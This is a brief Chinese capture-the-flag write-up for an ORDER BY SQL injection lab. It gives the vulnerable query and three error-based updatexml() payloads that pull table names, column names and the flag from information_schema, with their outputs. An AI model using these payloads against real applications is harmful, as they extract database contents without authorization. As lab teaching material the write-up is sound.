>lhzctf

S11 ORDER BY 注入

1.打开靶机

注入的东西会被拼在order by后

SELECT id, name, price FROM products ORDER BY 输入

并且有提示

ORDER BY 后面拼不了 UNION,但可以拼函数:报错函数、或者用 IF() 改变排序结果。

2.报错型注入

查表名

1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)

得到

XPATH syntax error: '~comments,flags,logs,news,produc'

查列名

1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="flags")),1)

得到

XPATH syntax error: '~flag,level,note'

查元素

1 and updatexml(1,concat(0x7e,(select group_concat(flag) from flags)),1)

得到flag

flag{sqli_11_order_by_inject}